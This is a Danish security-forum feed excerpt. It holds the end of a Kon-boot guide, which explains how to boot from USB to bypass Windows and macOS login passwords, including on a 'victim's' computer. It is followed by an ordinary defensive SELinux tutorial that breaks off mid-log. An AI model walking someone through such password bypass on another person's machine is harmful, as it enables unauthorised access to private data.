Den gratis version kan hentes <a href="https://www.dropbox.com/s/f5i4g9vlmwoxrtp/kon-boot1.1-free.zip" target="_blank" rel="noopener" class="mycode_url"><span style="text-decoration: underline;" class="mycode_u">HER</span></a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 2:</span><br />
Windows kon-boot.<br />
Denne version koster &#36;15 og bypass'er alle Windows computeres password.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 3:</span><br />
OS X kon-boot<br />
Denne version koster &#36;15 og bypass'er alle OS X (Mac) computeres password.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 4:</span><br />
Kon-boot 2 in 1<br />
Denne version koster &#36;26 og bypass'er både Windows og OS X (Mac) computeres password.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 2-4 kan købes på Kon-boot's officielle hjemmeside:</span><br />
<a href="http://www.piotrbania.com/all/kon-boot/" target="_blank" rel="noopener" class="mycode_url">http://www.piotrbania.com/all/kon-boot/</a></div></div>
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Klargør Kon-boot</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
Kon-boot har en forskelligt opsætningsprocess alt efter hvad du vil installere det på, i denne guide vil jeg vise jer hvordan i gør med USB.<br />
<br />
Værktøjet jeg bruger til at installere .ISO filen til mit USB stick er <a href="http://www.isotousb.com/" target="_blank" rel="noopener" class="mycode_url">http://www.isotousb.com/</a> det er gratis og meget nemt at bruge.<br />
<a href="https://www.youtube.com/watch?v=4ub5Sqe0-O4" target="_blank" rel="noopener" class="mycode_url"><span style="text-decoration: underline;" class="mycode_u">HER</span></a> er en video guide til hvordan man bruger ISO to USB.<br />
<br />
Når du har Kon-boot på dit usb er du klar til at teste det.</div></div>
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Brug af Kon-boot</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
Nu er du klar til at  teste kon-boot og alt efter hvilken version du har af kon-boot og hvilken computer du tester på.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">På windows:</span><br />
Sæt usb stikket i din eller dit "offers" computer og vælg boot priority til dit USB, CD, SD kort etc.<br />
<br />
Ved du ikke hvordan du gør det kan du se en graf her:<br />
<a href="https://craftedflash.com/info/how-boot-computer-from-usb-flash-drive" target="_blank" rel="noopener" class="mycode_url">https://craftedflash.com/info/how-boot-c...lash-drive</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">På OS X (Mac)</span><br />
Tryk på venste alt når computeren booter og vælg at boote fra navnet på din eksterne enhed.<br />
<br />
Nu skulle din computer gerne boote fra din eksterne enhed og du burde nu se dette på skærmen:<br />
<img src="http://www.instructables.com/files/orig/FHN/KG3Z/GYCSRI4U/FHNKG3ZGYCSRI4U.jpg" alt="[Billede: FHNKG3ZGYCSRI4U.jpg]" class="mycode_img" /><br />
<span style="font-weight: bold;" class="mycode_b">Bemærk - Farven ændres hver gang du booter!</span><br />
<br />
Når Kon-boot splash skærmen forsvinder kan du bare indtaste et tomt password altså, trykke ENTER og så burde du være inde! - Computeren bliver normal igen når du tager usb'et ud og genstarter.</div></div>
<br />
Har du problemer så smid en kommentar eller en PM, så vil jeg se hvad jeg kan gøre :)<br />
<br />
//Serty]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[SELinux 101]]></title>
			<link>https://www.shellsec.pw/traad-selinux-101</link>
			<pubDate>Sun, 14 Dec 2014 04:50:13 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-selinux-101</guid>
			<description><![CDATA[Under SELinux, køres systemet med MAC, Mandatory Access Control, hvor man uden SELinux kører Discresionary Acces Control.<br />
Kort fortalt er DAC, de typiske Read, Write og Execute permissions, man kan sætte for root, brugere og "other".<br />
Der er selvfølgelig untagelse, hvis man f.eks. kører med ACLs, som man også kan i Linux.<br />
MAC tilbyder et miljø, der default har Deny på alt, og alt der skal kunne tilgå noget, skal have en Allow policy.<br />
<br />
Der findes følgende fire forskellige måder at køre SELinux på:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>Selinux 4 access control forms:<br />
- Targeted Enforcement (TE)<br />
- Strict - (TE bare mere strict)<br />
- Role Based Access Control (RBAC)<br />
- Multi-Level Access (MLS)</blockquote>
MCS er en Multi Category System og er en overbygning på MLS. Denne intro til SELinux dækker kun TE, selv om kommandoerne sådan set, er de samme.<br />
<br />
SELinux er bygget op omkring Labels. Alt får en label, og denne fortæller, hvad der tillades.<br />
<br />
Hvis man vil undersøge, hvilken label en fil har, kan man ikke bruge ls -l, som ellers sidder i fingrene hos de fleste:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ls -l<br />
totalt 4<br />
-rw-r--r--. 1 root root 11 dec 13 22:42 text.txt<br />
root@selinux:~#</blockquote>
<br />
Man kan dog se, der er kommet et punktun efter "-rw-r--r--", altså "-rw-r--r--.", og dette viser, filerne på dette system, har fået labels.<br />
Det er her, man ville se et +, hvis systemet kørte med Access Lists.<br />
Vi er så heldige, at tegnet Z, ikke bruges i så forfærdelig mange kommandoer på linux, og derfor bliver dette brugt til at vise labels med i SELinux.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ls -Z<br />
unconfined_u:object_r:user_home_t:SystemLow text.txt<br />
root@selinux:~# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:~#</blockquote>
<br />
Får du ikke dette output, kan du kontrollere at SELinux kører med:<br />
root@selinux:~# check-selinux-installation<br />
/etc/pam.d/login is not SELinux enabled<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# sestatus<br />
SELinux status:                 enabled<br />
SELinuxfs mount:                /sys/fs/selinux<br />
SELinux root directory:         /etc/selinux<br />
Loaded policy name:             default<br />
Current mode:                   enforcing<br />
Mode from config file:          enforcing<br />
Policy MLS status:              enabled<br />
Policy deny_unknown status:     denied<br />
Max kernel policy version:      26<br />
root@selinux:~#</blockquote>
<br />
Hvis du ikke har behov for al informationen, som ovenstående kommando giver, kan man nøjes med at bruge "getenforce":<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# getenforce<br />
Enforcing<br />
root@selinux:~#</blockquote>
<br />
Denne viser dog ikke, om SELinux vil køre, efter en reboot.<br />
<br />
Alt har labels, når man har aktiveret SELinux. Både filer, sockets, processes, brugere osv.<br />
Her er et eksempel på hvordan root ser ud lige nu:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# id -Z<br />
unconfined_u:unconfined_r:unconfined_t:SystemLow-SystemHigh<br />
root@selinux:~# id<br />
uid=0(root) gid=0(root) grupper=0(root) kontekst=unconfined_u:unconfined_r:unconfined_t:SystemLow-SystemHigh<br />
root@selinux:~#</blockquote>
<br />
Her er den kørende Apache2 process:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ps -efZ |grep apache<br />
system_u:system_r:httpd_t:s0    root      2184     1  0 21:54 ?        00:00:00 /usr/sbin/apache2 -k start<br />
system_u:system_r:httpd_t:s0    www-data  2187  2184  0 21:54 ?        00:00:00 /usr/sbin/apache2 -k start<br />
system_u:system_r:httpd_t:s0    www-data  2188  2184  0 21:54 ?        00:00:00 /usr/sbin/apache2 -k start<br />
system_u:system_r:httpd_t:s0    www-data  2189  2184  0 21:54 ?        00:00:00 /usr/sbin/apache2 -k start<br />
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 root 2720 2597  0 22:51 pts/0 00:00:00 grep apache<br />
root@selinux:~#</blockquote>
<br />
Brugere i SELinux er dog ikke det samme som, den bruger man logger ind med. Flere linux brugere, kan være under samme SELinux bruger. Lidt som en gruppe af brugere, deler nogle rettigheder.<br />
En Process kaldes i SELinux for et "subject", og filer, directories, FIFOs, sockets osv., er "objects". Så subjects arbejder på objects, når man benytter SELinux.<br />
En label er i "context", når de er assosieret med en fil, og i et "domain", hvis en label er assosieret med en process.<br />
Hvis vi ønsker at se, hvilke SELinux brugere og roller, der er configureret, kan vi gøre det med semanage:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semanage user -l<br />
<br />
                Labeling   MLS/       MLS/<br />
SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles<br />
<br />
root            sysadm     SystemLow  SystemLow-SystemHigh           staff_r sysadm_r system_r<br />
staff_u         staff      SystemLow  SystemLow-SystemHigh           staff_r sysadm_r<br />
sysadm_u        sysadm     SystemLow  SystemLow-SystemHigh           sysadm_r<br />
system_u        user       SystemLow  SystemLow-SystemHigh           system_r<br />
unconfined_u    unconfined SystemLow  SystemLow-SystemHigh           system_r unconfined_r<br />
user_u          user       SystemLow  SystemLow                      user_r<br />
root@selinux:~#</blockquote>
<br />
Hvis man ønsker at tildele en bruger, en bestemt rolle, kan det gøres således:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semanage login -a -s staff_u mian<br />
root@selinux:~# </blockquote>
<br />
Som vi kan se fra ovensstående eksempl med apache2, er en label delt op i flere dele: user:role:type:level.<br />
Hvis det ser lidt underligt ud, at apache2 både kører som root og www-data, er det fordi, Apache2 virker sådan.<br />
Apache2 starter som root, så det kan læse certifikater osv., når den starter, den degraderer så sine egne rettigheder til www-data brugeren, og kører med den.<br />
Apache2 har følgende label: system_u:system_r:httpd_t:s0.<br />
System_u = user, system_r = role, httpd_t = type og s0 er adgangsniveauet.<br />
Adgangsniveauet bruges ikke sønderligt i SELinux, når man kører Targeted Enforcement (TE), men er en form for adgangsniveau opdeling, f.eks. s0-s15 hvor S0 kunne svare til Public Information og S15 kunne være Top Secret.<br />
Nogle ses som C0-c1023.<br />
<br />
Her er et andet eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ls -lZ /etc/resolv.conf<br />
-rw-r--r--. 1 root root system_u:object_r:net_conf_t:SystemLow 38 dec 13 22:47 /etc/resolv.conf<br />
root@selinux:~#</blockquote>
<br />
Kører man Permissive eller Enforcing SELinux bør alt have en label, og det er ufarligt at skifte mellem disse to modes.<br />
Man skal dog passe på med at gå direkte fra at have SELinux Disabled, til Enforced, for så er det ikke sikkert, alle labels er på plads og korrekte.<br />
Der er flere måder at få sat labels på alt, på:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#fixfiles relabel	// Gør dette på et kørende system<br />
#touch /.autorelabel	// Findes "/.autorelabel" filen, bliver der dannet labels ved reboot.<br />
#fixfiles onboot	// Denne schedulerer en relabel ved næste reboot. Effektivt det samme som at danne en /.autorelabel fil.</blockquote>
<br />
Hvis man vil ekskludere nogle filer fra at blive relabeled af fixfiles, kan disse angives i "/etc/selinux/fixfiles_exclude_dirs". Det er ikke sikkert, filen findes på forhånd.<br />
<br />
Brugerfiler og bruger processes, vil ofte være labeled unconfinded_u, hvor systemfiler og system processes, ofte vil have system_u i stedet. Det kan også være user_u.<br />
Hvis noget kører uden en targeted policy, vil det formegentlig køre unconfined_u.<br />
<br />
De fleste distributioner har haft SELinux i mange år, og nogle kommer faktisk i dag, med en Permissive SELinux.<br />
Det betyder også at når man installerer pakker, så får man, til lagt de fleste, færdiglavede policies med, og skal ikke tænke på at lave dem selv.<br />
Lige det, hjælper ikke udviklere, som laver deres egne programmer, compiler et program fra source, eller bruger en tar ball.<br />
Hvordan sætter vi så disse labels? Det er der flere svar på. Jeg vil starte med et typisk pitfall, før vi dykker ned i detaljerne.<br />
SELinux labels flytter på samme måde som DAC permissions gør.<br />
<br />
Når man opretter en ny fil, arver sin context fra det directory, den ligger i.<br />
Flytter man en fil, vil filens context flytte med. Så man skal være varsom, hvis man flytter filer fra en context til en anden.<br />
Hvis man kopierer en fil, og destinationsfilen allerede eksisterer, vil den nye fil, overtage den gamle fils label. Altså hvis man kopierer ovenpå den eksisterende.<br />
Kopierer man en fil, og den ikke allerede findes, der hvor den kopieres hen, svarer det til en ny fil, og filen vil arve sin context, fra det directory, filen kommer til at ligge i, efter kopieringen.<br />
<br />
Hvis man f.eks. selv har compilet nmap, som har brug for lidt flere rettigheder, end de andre filer man har i /usr/bin/, vil nmap arve sin context, eller få en label, ud fra, den context, /usr/bin mappen har.<br />
Det kan man formegntlig ikke få nmap til at køre med, og det kan vi ændre på flere forskellige måder.<br />
Vi kan bruge "chcon", som står for Change Context, eller vi kan bruge "semanage". Nedenstående to kommandoer gør det samme:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#chcon --type traceroute_exec_t /usr/bin/nmap			// Change Context type traceroute_exec_t for /usr/bin/nmap<br />
#semanage fcontext -a -t traceroute_exec_t /usr/bin/nmap	// Add filecontext type traceroute_exec_t for /usr/bin/nmap</blockquote>
<br />
Bemærk at _t i traceroute_exec_t står for type, så derfor bruger vi -t for type, eller --type.<br />
<br />
Får man ændret noget, man ikke ville have ændret, kan man bruge "restorecon" til at restore den originale context for den fil, man har ændret:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#restorecon /usr/bin/nmap</blockquote>
<br />
Man kan selvfølgelig også bruge chcon og restorecon rekursivt, hvis det er nødvendigt. Det kan være brugbart, hvis man f.eks. har fået rodet for meget i /var/www.<br />
Så kan man rekursivt genskabe sin context med kommandoen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#restorecon -R /var/www</blockquote>
<br />
Her er et eksempel på, hvordan en fil ændres fra type user_home_t til etc_t, og herefter tilbage:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:~# chcon --type etc_t ./text.txt<br />
root@selinux:~# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:etc_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:~# restorecon ./text.txt<br />
root@selinux:~# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:~#</blockquote>
<br />
Hvis man har lavet en ny fil der hedder foo.html, kan man sætte dens context, ved at henvise til det directory, filen ligger i.<br />
Den er meget tilsvarende de andre metoder:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#chcon --reference /var/www/html /var/www/html/foo.html</blockquote>
<br />
OBS: chcon er i deb pakken coreutils og semanage er i policycoreutils. Man kan også kaste et blik på man eller info page for genhomedircon og setfiles kommandoerne.<br />
<br />
Hvis man ønsker at bruge sin home folder, til webindhold, som man ofte gør, hvis man bruger vhosts til hjemmesider, kan man sætte disse filer til typen httpd_sys_content_t.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage fcontext -a -t httpd_sys_content_t "/home/bob/html(/.*)?"	// Bemærk at i en shell, vil udsagn i gåseøjne, bliver fortolket.</blockquote>
<br />
Det kan også være man ønsker at have nogle CGIs tilgængelig, for at skabe noget dynamisk indhold:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage fcontext -a -t httpd_sys_script_exec_t "/home/bob/html/cgi-bin(/.*)?"</blockquote>
<br />
En ting man støder på, hvis man f.eks. flytter sine html filer til sit home dir, er at webserveren vil blive nægtet adgang.<br />
Dette skyldes af apache2 kører i en anden context end din home folder:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/var/www# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root system_u:object_r:httpd_sys_content_t:SystemLow 177 dec 13 20:00 index.html<br />
root@selinux:/var/www# ls -lZ /root<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:/var/www#</blockquote>
<br />
En home folder har en helt anden label. typen er user_home_t, hvor den i /var/www/ er httpd_sys_content_t.<br />
For ikke at ødelægge det for meget for sig selv, kan man med fordel benytte sig af SELinux booleans.<br />
Det er en form for shortcuts, som enten kan være slået til eller fra. Eller det var engang, og det lader vi som om, det stadig er.<br />
For at give apache2 adgang til sit hjemmedrev, kan man sætte en boolean som hedder httpd_enable_homedirs.<br />
Dette kan, som det meste andet, gøres på flere måder. Nedenstående kommandoer gør det samme:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage boolean -m --on httpd_enable_homedirs<br />
#setsebool httpd_enable_homedirs on 	// Sættes til off ved næste reboot.<br />
#setsebool -P httpd_enable_homedirs on 	// Permanent sat til on</blockquote>
<br />
Som man kan se her under, fortæller de ikke noget, når det går godt.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# setsebool -P httpd_enable_homedirs on<br />
root@selinux:~# setsebool -P httpd_enable_homedirs off<br />
root@selinux:~# echo &#36;?<br />
0<br />
root@selinux:~#</blockquote>
<br />
Der er rigtig mange af disse booleans, og disse kan ses med semanage, eller getsebool kommandoerne. Hvis man f.eks. ønsker at tillade CGI, kan man tilføle en "grep" sammen med kommandoerne.<br />
Her er et par eksempler med de to kommandoer. Man kan se, de har forskelligt output:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/var/www# getsebool -a |grep cgi<br />
httpd_enable_cgi --&gt; off<br />
root@selinux:/var/www# semanage boolean -l |grep cgi<br />
httpd_enable_cgi               (off  ,  off)  httpd_enable_cgi<br />
root@selinux:/var/www#</blockquote>
<br />
For at få en idé om, hvilke booleans der er, er det bare at køre en af ovenstående kommandoer, uden at smide det i gennem grep.<br />
<br />
OBS: setsebool og getsebool er i pakken policycoreutils, lige som semanage.<br />
<br />
En anden ting man sikkert vil støde på, er at apache2 kun må lytte på port 80 og 443. Det er godt hvis det er en prod server, alle kan tilgå fra Inetnettet.<br />
Hvis det f.eks. lykkes en hacker at uploade netcat og er han nød til at sætte den til at lytte på en anden port end 80 eller 443, da apache bruger disse to.<br />
Så vil det ikke være muligt for Apache2s address space, at lytte på andre porte. Men det kan være, man ønsker at køre software som webmin eller lign., som normalt lytter på tcp port 10000.<br />
Så er man nød til at ændre http_port_t, så apache2 får lov til at lytte på den ønskede port.<br />
Dette kan også gøres med semanage, med følgende kommando:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage port -a -t http_port_t -p tcp 10000</blockquote>
<br />
Ønsker man at se, de porte der er registreret i SELinux, kan man gøre det med kommandoen semanage. Der er en hel del, da det svarer meget til /etc/hosts.<br />
Her kan vi se, hvilke porte der er tilknyttet ftp:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semanage port -l |grep ftp<br />
ftp_data_port_t                tcp      20<br />
ftp_port_t                     tcp      21, 990<br />
ftp_port_t                     udp      990<br />
tftp_port_t                    udp      69<br />
root@selinux:~#</blockquote>
<br />
Hvad gør man så, når det ikke virker? Hvis man har installeret auditd pakken, vil der komme meddelelser i /var/log/audit/audit.log, og det vil jeg bestemt anbefale.<br />
Ellers må man undersloge /var/log/messages for output.<br />
Outputtet er lidt finurligt, og tidsstemplingen er i et forunderligt format.<br />
For at få noget at se på, har jeg started exim op igen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/usr/bin# service exim4 start<br />
[ ok ] Starting MTA: exim4.<br />
root@selinux:/usr/bin# tail /var/log/audit/audit.log<br />
type=AVC msg=audit(1418516379.429:29): avc:  denied  { read write } for  pid=3148 comm="hostname" path="socket:[6167]" dev=sockfs ino=6167 scontext=system_u:system_r:hostname_t:s0-s0:c0.c1023 tcontext=system_u:system_r:dhcpc_t:s0-s0:c0.c1023 tclass=udp_socket<br />
type=SYSCALL msg=audit(1418516379.429:29): arch=c000003e syscall=59 success=yes exit=0 a0=262adc8 a1=262aea8 a2=260cc08 a3=0 items=0 ppid=3146 pid=3148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="hostname" exe="/bin/hostname" subj=system_u:system_r:hostname_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(1418516952.974:30): avc:  denied  { search } for  pid=3417 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=SYSCALL msg=audit(1418516952.974:30): arch=c000003e syscall=2 success=no exit=-13 a0=7f5453269b10 a1=0 a2=1b6 a3=0 items=0 ppid=3416 pid=3417 auid=0 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=pts0 ses=1 comm="exim4" exe="/usr/sbin/exim4" subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(1418516953.118:31): avc:  denied  { search } for  pid=3422 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=SYSCALL msg=audit(1418516953.118:31): arch=c000003e syscall=2 success=no exit=-13 a0=7fbf62c29b10 a1=0 a2=1b6 a3=0 items=0 ppid=3421 pid=3422 auid=0 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=pts0 ses=1 comm="exim4" exe="/usr/sbin/exim4" subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(1418516953.282:32): avc:  denied  { search } for  pid=3425 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=SYSCALL msg=audit(1418516953.282:32): arch=c000003e syscall=2 success=no exit=-13 a0=7f0710c0ab10 a1=0 a2=1b6 a3=0 items=0 ppid=3424 pid=3425 auid=0 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=pts0 ses=1 comm="exim4" exe="/usr/sbin/exim4" subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(1418516953.418:33): avc:  denied  { search } for  pid=3433 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=SYSCALL msg=audit(1418516953.418:33): arch=c000003e syscall=2 success=no exit=-13 a0=7ff878797b10 a1=0 a2=1b6 a3=0 items=0 ppid=3431 pid=3433 auid=0 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=(none) ses=1 comm="exim4" exe="/usr/sbin/exim4" subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
root@selinux:/usr/bin#</blockquote>
<br />
For at skille, hvad der er gået godt, og hvad der ikke er, kan man med fordel bruge grep. En ting man kan søge på, er "denied", en anden ting er AVC.<br />
Når der i SELinux opstår en access violation, altså når en policy ikke er blevet overholdt, kommer der en AVC (Access Vector Cache) besked.<br />
Denne kan man greppe efter:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/usr/bin# tail /var/log/audit/audit.log |grep AVC<br />
type=AVC msg=audit(1418516379.429:29): avc:  denied  { read write } for  pid=3148 comm="hostname" path="socket:[6167]" dev=sockfs ino=6167 scontext=system_u:system_r:hostname_t:s0-s0:c0.c1023 tcontext=system_u:system_r:dhcpc_t:s0-s0:c0.c1023 tclass=udp_socket<br />
type=AVC msg=audit(1418516952.974:30): avc:  denied  { search } for  pid=3417 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=AVC msg=audit(1418516953.118:31): avc:  denied  { search } for  pid=3422 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=AVC msg=audit(1418516953.282:32): avc:  denied  { search } for  pid=3425 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=AVC msg=audit(1418516953.418:33): avc:  denied  { search } for  pid=3433 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
root@selinux:/usr/bin#</blockquote>
<br />
En bedre måde at søge efter disse fejl på, er at bruge en af de gode linux audit værktøjer, der kommer prepacked fra distributøren.<br />
Et af dem er ausearch, som er bygget til at søge i daemon logs.<br />
<br />
OBS: ausearch er i pakken auditd, som også giver /var/log/audit/audit.log filen.<br />
<br />
Her kan vi se, hvordan de samme beskeder fra exim4 processen er opstillet gennem ausearch. Dette er en søgning på AVC beskeder som ikke er gået godt:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/usr/bin# ausearch -i -m AVC,USER_AVC -sv no<br />
----<br />
type=SYSCALL msg=audit(13-12-2014 21:55:00.491:10) : arch=x86_64 syscall=bind success=no exit=-13(Adgang nÃ¦gtet) a0=7 a1=7feb2dbfd260 a2=6e a3=7feb2b47714c items=0 ppid=1 pid=2446 auid=unset uid=postgres gid=postgres euid=postgres suid=postgres fsuid=postgres egid=postgres sgid=postgres fsgid=postgres tty=(none) ses=4294967295 comm=postgres exe=/usr/lib/postgresql/9.1/bin/postgres subj=system_u:system_r:postgresql_t:s0 key=(null)<br />
type=AVC msg=audit(13-12-2014 21:55:00.491:10) : avc:  denied  { create } for  pid=2446 comm=postgres name=.s.PGSQL.5432 scontext=system_u:system_r:postgresql_t:s0 tcontext=system_u:object_r:var_run_t:s0 tclass=sock_file<br />
----<br />
type=SYSCALL msg=audit(14-12-2014 01:29:13.118:31) : arch=x86_64 syscall=open success=no exit=-13(Adgang nÃ¦gtet) a0=7fbf62c29b10 a1=0 a2=1b6 a3=0 items=0 ppid=3421 pid=3422 auid=root uid=Debian-exim gid=Debian-exim euid=Debian-exim suid=Debian-exim fsuid=Debian-exim egid=Debian-exim sgid=Debian-exim fsgid=Debian-exim tty=pts0 ses=1 comm=exim4 exe=/usr/sbin/exim4 subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(14-12-2014 01:29:13.118:31) : avc:  denied  { search } for  pid=3422 comm=exim4 name=crypto dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
----<br />
type=SYSCALL msg=audit(14-12-2014 01:29:12.974:30) : arch=x86_64 syscall=open success=no exit=-13(Adgang nÃ¦gtet) a0=7f5453269b10 a1=0 a2=1b6 a3=0 items=0 ppid=3416 pid=3417 auid=root uid=Debian-exim gid=Debian-exim euid=Debian-exim suid=Debian-exim fsuid=Debian-exim egid=Debian-exim sgid=Debian-exim fsgid=Debian-exim tty=pts0 ses=1 comm=exim4 exe=/usr/sbin/exim4 subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(14-12-2014 01:29:12.974:30) : avc:  denied  { search } for  pid=3417 comm=exim4 name=crypto dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
----<br />
type=SYSCALL msg=audit(14-12-2014 01:29:13.282:32) : arch=x86_64 syscall=open success=no exit=-13(Adgang nÃ¦gtet) a0=7f0710c0ab10 a1=0 a2=1b6 a3=0 items=0 ppid=3424 pid=3425 auid=root uid=Debian-exim gid=Debian-exim euid=Debian-exim suid=Debian-exim fsuid=Debian-exim egid=Debian-exim sgid=Debian-exim fsgid=Debian-exim tty=pts0 ses=1 comm=exim4 exe=/usr/sbin/exim4 subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(14-12-2014 01:29:13.282:32) : avc:  denied  { search } for  pid=3425 comm=exim4 name=crypto dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
----<br />
type=SYSCALL msg=audit(14-12-2014 01:29:13.418:33) : arch=x86_64 syscall=open success=no exit=-13(Adgang nÃ¦gtet) a0=7ff878797b10 a1=0 a2=1b6 a3=0 items=0 ppid=3431 pid=3433 auid=root uid=Debian-exim gid=Debian-exim euid=Debian-exim suid=Debian-exim fsuid=Debian-exim egid=Debian-exim sgid=Debian-exim fsgid=Debian-exim tty=(none) ses=1 comm=exim4 exe=/usr/sbin/exim4 subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
